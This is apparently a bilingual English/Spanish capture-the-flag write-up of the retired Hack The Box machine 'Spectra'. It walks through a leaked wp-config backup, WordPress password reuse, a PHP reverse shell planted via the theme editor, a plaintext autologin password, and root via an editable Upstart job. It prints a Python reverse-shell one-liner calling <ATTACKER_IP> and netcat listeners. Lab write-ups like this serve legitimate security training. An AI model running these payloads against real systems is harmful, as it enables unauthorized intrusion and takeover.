Spectra
Executive summary — Spectra is an interesting Easy box because it doesn't run a standard Linux, but ChromiumOS. A forgotten directory listing at
/testing/exposeswp-config.php.save, a leftover backup with the database credentials. Those credentials don't work against MySQL remotely (the server restricts the source host), but the admin reuses them as their WordPress account password: we log into the panel and edit an inactive theme's404.phptemplate for RCE. With LinPEAS we find a ChromiumOS-specific autologin file holdingkatie's password in plaintext (SSH, user.txt). katie can run/sbin/initctlvia sudo —the Upstart job manager, which isn't listed on GTFOBins— and the test job/etc/init/test.confis editable: we inject a payload that runs as root. Path: wp-config.save -> WP RCE -> autologin -> katie -> initctl -> root.
| Platform | Hack The Box |
| Operating system | Linux (ChromiumOS) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.10.10.229 |
Attack map
[80] /testing/ with directory listing -> wp-config.php.save (DB creds)
| the DB refuses remote connections, but the admin reuses that
| password on WordPress
v
[WP admin] edit 404.php on an inactive theme -> reverse shell (www-data)
| ChromiumOS (not standard Linux) -> LinPEAS -> plaintext autologin
| passwd file -> katie password
v
[SSH] katie (user.txt)
| sudo NOPASSWD /sbin/initctl (Upstart, not on GTFOBins) ->
| editable /etc/init/test.conf job
v
[ROOT] inject reverse shell into the job -> initctl start test
1. Nmap reconnaissance
Before running a heavy scan with version detection and scripts, it's worth quickly finding which ports are open, to avoid scanning all 65535 with -sC -sV (much slower):
sudo nmap -p- --min-rate=10000 -oA allports 10.10.10.229 -v
-p- sweeps all 65535 TCP ports; --min-rate=10000 forces a high send rate (more false negatives on high-latency networks, but works fine on HTB); -oA saves the output in all three formats with the given prefix.
With the list of open ports (22, 80, 3306), we run a detailed scan against just those:
sudo nmap -sC -sV -Pn -T4 -p22,80,3306 10.10.10.229 -oN nmap_detailed.txt
| Port | Service | Detail |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Web server |
| 3306 | MySQL | Database, restricted access |
Without credentials yet for either SSH or MySQL, the entry vector can only be port 80.
Resumen ejecutivo — Spectra es un Easy curioso porque no corre un Linux estandar sino ChromiumOS. Un directory listing olvidado en
/testing/exponewp-config.php.save, un backup residual con las credenciales de la base de datos. Esas credenciales no sirven contra MySQL en remoto (el servidor restringe el host de origen), pero el administrador las reutiliza como contraseña de su cuenta de WordPress: entramos al panel y editamos la plantilla404.phpde un tema inactivo para conseguir RCE. Con LinPEAS encontramos un fichero de autologin propio de ChromiumOS con la contraseña dekatieen texto plano (SSH, user.txt). katie puede ejecutar/sbin/initctlpor sudo —el gestor de trabajos de Upstart, que no aparece en GTFOBins— y el job de prueba/etc/init/test.confes editable: inyectamos un payload que se ejecuta como root. Recorrido wp-config.save -> WP RCE -> autologin -> katie -> initctl -> root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (ChromiumOS) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.10.10.229 |
Mapa del ataque
[80] /testing/ con directory listing -> wp-config.php.save (creds de la BD)
| la BD no acepta conexiones remotas, pero el admin reutiliza esa
| password en WordPress
v
[WP admin] editar 404.php de un tema inactivo -> reverse shell (www-data)
| ChromiumOS (no Linux estandar) -> LinPEAS -> fichero passwd de
| autologin en texto plano -> password de katie
v
[SSH] katie (user.txt)
| sudo NOPASSWD /sbin/initctl (Upstart, no esta en GTFOBins) ->
| job /etc/init/test.conf editable
v
[ROOT] inyectar reverse shell en el job -> initctl start test
1. Reconocimiento con Nmap
Antes de lanzar un escaneo pesado con deteccion de versiones y scripts conviene identificar rapido que puertos estan abiertos, para no perder tiempo escaneando los 65535 con -sC -sV (mucho mas lento):
sudo nmap -p- --min-rate=10000 -oA allports 10.10.10.229 -v
-p- recorre los 65535 puertos TCP; --min-rate=10000 fuerza un ritmo de envio alto (mas falsos negativos en redes con latencia, pero en HTB funciona bien); -oA guarda la salida en los tres formatos con el prefijo indicado.
Con la lista de puertos abiertos (22, 80 y 3306), lanzamos el escaneo detallado solo sobre esos:
sudo nmap -sC -sV -Pn -T4 -p22,80,3306 10.10.10.229 -oN nmap_detailed.txt
| Puerto | Servicio | Detalle |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Servidor web |
| 3306 | MySQL | Base de datos, acceso restringido |
Sin credenciales todavia ni para SSH ni para MySQL, el vector de entrada solo puede ser el puerto 80.
2. Web enumeration
Visiting the IP directly may redirect to an internal hostname, so we map it by hand:
echo "10.10.10.229 spectra.htb" | sudo tee -a /etc/hosts
At http://spectra.htb there are two links: a software issue tracker (which needs the hostname resolved to work) and a testing link. The issue tracker redirects to /main, a WordPress site whose welcome post («Hello World») confirms the author is the administrator user —worth noting for a possible login.
Before reaching for automated tools it's worth exploring links manually. The testing one returns a telling error:
Error establishing a database connection
The URL loads an index.php inside /testing. Instead of pushing on that file, we try visiting just the directory:
curl -s http://spectra.htb/testing/
Finding: directory listing is enabled and exposes internal WordPress files —something that should never be visible from the outside. Among them,
wp-config.php.save.
3. Leaked credentials
It's common for a text editor (vim, nano with autosave) to leave a backup copy with a .save extension when editing a file. The server doesn't interpret that extension as PHP, so it serves it as plaintext instead of executing it; the browser, however, hides the <?php ... ?> tags when rendering and the page looks empty. We view the page source instead (or go straight through the terminal):
curl -s http://spectra.htb/testing/wp-config.php.save
We get the full wp-config.php, with DB_NAME, DB_USER, DB_PASSWORD and DB_HOST. We try those credentials directly against MySQL:
mysql -u <user> -p -h 10.10.10.229
Host '<ATTACKER_IP>' is not allowed to connect to this MySQL server
MySQL only accepts connections from
localhostor specific internal IPs: the credential doesn't work remotely. We don't discard it, though —password reuse is a very common pattern.
4. Exploiting WordPress
In parallel we launch a surface scan of the WordPress install (version, plugins, themes):
wpscan --url http://spectra.htb/main/ --detection-mode aggressive --plugins-detection aggressive -o wpscan_result.txt
While that runs in the background, we test credential reuse directly on the login form:
# http://spectra.htb/main/wp-login.php
User: administrator
Password: <the one from wp-config.php.save>
Access granted. The admin reused the database password as their WordPress account password.
5. Foothold — reverse shell via theme editor
With admin access there are two typical paths to RCE: upload a malicious plugin, or edit a template directly on an inactive theme, to avoid breaking the live site. We go to Appearance -> Theme Editor, pick an inactive theme (twentynineteen) and replace 404.php with PentestMonkey's reverse shell, pointed at our IP:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O 404-shell.php
# edit inside the file:
$ip = '<ATTACKER_IP>'; // HTB VPN IP
$port = 4444; // listening port
We paste the content into WordPress's theme editor, over twentynineteen's 404.php, and save with Update File. Before triggering the shell, we set up the listener:
nc -nlvp 4444
And force its execution by visiting the modified template:
curl http://spectra.htb/main/wp-content/themes/twentynineteen/404.php
We catch the connection on nc: a shell as the web server user. We identify the system:
cat /etc/os-release
The system is ChromiumOS, unusual on HTB: it implies different paths, available binaries and behavior compared to a traditional Linux (confirmed later with
initctl/Upstart instead of systemd). We stabilize the shell with a pseudo-TTY:
python2.7 -c 'import pty; pty.spawn("/bin/bash")'
6. Post-exploitation enumeration
To automate the search for a privilege-escalation vector we use LinPEAS. On the attacking machine we serve the script:
python3 -m http.server 8000
And on the victim we download it into a world-writable directory (/tmp):
cd /tmp
wget http://<ATTACKER_IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
teeshows the output live while also saving it to a file, useful because LinPEAS output is usually very long to review.
Among the findings is an unusual passwd file, inside a path related to ChromiumOS's autologin (the feature that logs in automatically without prompting for credentials):
find / -iname "*autologin*" 2>/dev/null
cat /found/path/passwd
The file holds a plaintext password.
7. Lateral movement — user katie
We filter system users with a valid shell (excluding service accounts with /nologin or /false) to get real candidates:
cat /etc/passwd | grep -E "sh$"
We try the leaked password over SSH:
ssh katie@10.10.10.229
cat /home/katie/user.txt
Access granted as katie.
8. Privilege escalation to root
Every new user means repeating enumeration: privileges differ. We start with sudo:
sudo -l
User katie may run the following commands on spectra:
(root) NOPASSWD: /sbin/initctl
initctl isn't listed on GTFOBins (https://gtfobins.github.io/gtfobins/initctl/): it's an uncommon binary, tied to ChromiumOS's Upstart init system, so it needs manual investigation.
sudo /sbin/initctl --help
sudo /sbin/initctl list
It manages Upstart jobs defined in configuration files. We check what it can run:
ls -la /etc/init/
There's a test job, test.conf, that turns out to be writable:
ls -la /etc/init/test.conf
If the file is writable by
katie(or her group), we can inject our own payload inside the job'sscript ... end scriptblock. Sinceinitctlstarts it via passwordless sudo, the payload runs as root.
nano /etc/init/test.conf
python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The socket connects to our IP on port 4444; os.dup2() redirects the process's stdin/stdout/stderr onto that socket, and subprocess.call spawns an interactive shell over that connection. We set up the listener and run the job:
nc -nlvp 4444
sudo /sbin/initctl start test
The test process starts with root privileges (authorized via passwordless sudo) running our payload, and we catch the connection on the listener already as root:
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web | /testing/ | Directory listing + leftover wp-config.php.save | DB credentials (invalid remotely) |
| Foothold | WordPress | DB password reuse -> theme editor (RCE) | Shell as the web server user |
| Post-exploitation | ChromiumOS autologin | Plaintext passwd file | SSH as katie (user.txt) |
| PrivEsc | sudo /sbin/initctl | Editable Upstart job run as root | Root (root.txt) |
Lessons learned
- Explore directories, not just endpoints: if a URL loads an
index.phpinside a subdirectory, also visit the directory itself —it may have listing enabled. - Leftover editor files (
.save,.bak,.swp,~): editors leave automatic copies that the server serves without executing; always delete them after editing in production. - Don't reuse passwords: the database one shouldn't also work on the admin panel or the system.
- Unknown sudo = investigate it: if
sudo -lreveals a binary that isn't on GTFOBins, probe it with--help/manand check which files it uses; the escalation vector is usually there.
2. Enumeración web
Al visitar la IP directamente la web puede redirigir a un hostname interno, asi que lo mapeamos a mano:
echo "10.10.10.229 spectra.htb" | sudo tee -a /etc/hosts
En http://spectra.htb hay dos enlaces: un software issue tracker (que necesita el hostname resuelto para funcionar) y un enlace de testing. El issue tracker redirige a /main, un sitio WordPress cuyo post de bienvenida («Hello World») confirma que el autor es el usuario administrator —lo anotamos para un posible login.
Antes de lanzar herramientas automaticas conviene explorar los enlaces a mano. El de testing devuelve un error revelador:
Error establishing a database connection
La URL carga un index.php dentro de /testing. En vez de insistir con ese fichero, probamos a visitar solo el directorio:
curl -s http://spectra.htb/testing/
Hallazgo: el listado de directorio esta habilitado y expone los ficheros internos de una instalacion de WordPress —algo que nunca deberia verse desde fuera. Entre ellos aparece
wp-config.php.save.
3. Credenciales filtradas
Es muy comun que al editar un fichero con un editor de texto (vim, nano con autosave) se genere una copia de seguridad con extension .save. El servidor no interpreta esa extension como PHP, asi que la sirve en texto plano en vez de ejecutarla; el navegador, en cambio, esconde las etiquetas <?php ... ?> al renderizar y la pagina parece vacia. Vemos el codigo fuente en su lugar (o directamente por terminal):
curl -s http://spectra.htb/testing/wp-config.php.save
Obtenemos el wp-config.php completo, con DB_NAME, DB_USER, DB_PASSWORD y DB_HOST. Probamos esas credenciales directamente contra MySQL:
mysql -u <usuario> -p -h 10.10.10.229
Host '<ATTACKER_IP>' is not allowed to connect to this MySQL server
El servidor MySQL solo acepta conexiones desde
localhosto IPs internas especificas: la credencial no sirve en remoto. No la descartamos, porque la reutilizacion de contraseñas es un patron muy comun.
4. Explotación de WordPress
En paralelo lanzamos un escaneo de superficie sobre el WordPress (versiones, plugins, temas):
wpscan --url http://spectra.htb/main/ --detection-mode aggressive --plugins-detection aggressive -o wpscan_result.txt
Mientras corre en segundo plano, probamos la reutilizacion de credenciales directamente en el login:
# http://spectra.htb/main/wp-login.php
Usuario: administrator
Contraseña: <la de wp-config.php.save>
Acceso concedido. El administrador reutilizo la contraseña de la base de datos como contraseña de su cuenta de WordPress.
5. Foothold — shell reversa via editor de temas
Con acceso de administrador hay dos caminos tipicos para RCE: subir un plugin malicioso o editar directamente una plantilla de un tema no activo, para no romper la web en produccion. Vamos a Apariencia -> Editor de temas, elegimos un tema inactivo (twentynineteen) y sustituimos 404.php por la reverse shell de PentestMonkey, apuntada a nuestra IP:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O 404-shell.php
# editar dentro del fichero:
$ip = '<ATTACKER_IP>'; // IP de la VPN de HTB
$port = 4444; // puerto donde escuchamos
Pegamos el contenido en el editor de temas de WordPress, sobre 404.php de twentynineteen, y guardamos con Actualizar archivo. Antes de disparar la shell, montamos el listener:
nc -nlvp 4444
Y forzamos su ejecucion visitando la plantilla modificada:
curl http://spectra.htb/main/wp-content/themes/twentynineteen/404.php
Recibimos la conexion en nc: shell como el usuario del servidor web. Identificamos el sistema:
cat /etc/os-release
El sistema es ChromiumOS, poco habitual en HTB: implica rutas, binarios disponibles y comportamiento distintos a un Linux tradicional (lo comprobamos mas tarde con
initctl/Upstart en vez de systemd). Estabilizamos la shell con una pseudo-TTY:
python2.7 -c 'import pty; pty.spawn("/bin/bash")'
6. Enumeración post-explotación
Para automatizar la busqueda del vector de escalada usamos LinPEAS. En la maquina atacante servimos el script:
python3 -m http.server 8000
Y en la victima lo descargamos a un directorio con permisos de escritura (/tmp):
cd /tmp
wget http://<ATTACKER_IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
teedeja ver la salida en tiempo real y a la vez la guarda en fichero, util porque LinPEAS suele ser muy larga de revisar.
Entre los hallazgos aparece un fichero passwd fuera de lo comun, dentro de una ruta relacionada con el autologin de ChromiumOS (la funcion que inicia sesion automaticamente sin pedir credenciales):
find / -iname "*autologin*" 2>/dev/null
cat /ruta/encontrada/passwd
El fichero contiene una contraseña en texto plano.
7. Movimiento lateral — usuario katie
Filtramos los usuarios del sistema con shell valida (descartando cuentas de servicio con /nologin o /false) para tener candidatos reales:
cat /etc/passwd | grep -E "sh$"
Probamos la contraseña filtrada por SSH:
ssh katie@10.10.10.229
cat /home/katie/user.txt
Acceso concedido como katie.
8. Escalada de privilegios a root
Con cada usuario nuevo hay que repetir la enumeracion: los permisos cambian. Empezamos por sudo:
sudo -l
User katie may run the following commands on spectra:
(root) NOPASSWD: /sbin/initctl
initctl no aparece en GTFOBins (https://gtfobins.github.io/gtfobins/initctl/): es un binario poco comun, ligado al sistema de init Upstart de ChromiumOS, asi que toca investigarlo a mano.
sudo /sbin/initctl --help
sudo /sbin/initctl list
Gestiona trabajos (jobs) de Upstart definidos en ficheros de configuracion. Revisamos que puede ejecutar:
ls -la /etc/init/
Hay un job de pruebas, test.conf, que resulta editable:
ls -la /etc/init/test.conf
Si el fichero es escribible por
katie(o por su grupo), podemos inyectar nuestro propio payload dentro del bloquescript ... end scriptdel job. Comoinitctllo arranca via sudo sin contraseña, el payload correra como root.
nano /etc/init/test.conf
python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
El socket se conecta a nuestra IP en el puerto 4444; os.dup2() redirige stdin/stdout/stderr del proceso hacia ese socket, y subprocess.call lanza una shell interactiva sobre esa conexion. Montamos el listener y ejecutamos el job:
nc -nlvp 4444
sudo /sbin/initctl start test
El proceso test arranca con privilegios de root (autorizado por sudo sin contraseña) ejecutando nuestro payload, y recibimos la conexion en el listener ya como root:
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Web | /testing/ | Directory listing + wp-config.php.save residual | Credenciales de la BD (invalidas en remoto) |
| Foothold | WordPress | Reutilizacion de password de BD -> editor de temas (RCE) | Shell como usuario del servidor web |
| Post-explotacion | Autologin de ChromiumOS | Fichero passwd en texto plano | SSH como katie (user.txt) |
| PrivEsc | sudo /sbin/initctl | Job Upstart editable ejecutado como root | Root (root.txt) |
Lecciones aprendidas
- Explora directorios, no solo endpoints: si una URL carga un
index.phpdentro de un subdirectorio, visita tambien el directorio en si —puede tener el listado abierto. - Ficheros residuales de edicion (
.save,.bak,.swp,~): los editores dejan copias automaticas que el servidor sirve sin ejecutar; borralos siempre tras editar en produccion. - No reutilices contraseñas: la de la base de datos no debe funcionar tambien en el panel de administracion ni en el sistema.
- sudo desconocido = investigalo: si
sudo -lrevela un binario que no esta en GTFOBins, pruebalo con--help/many mira que ficheros usa; el vector de escalada suele estar ahi.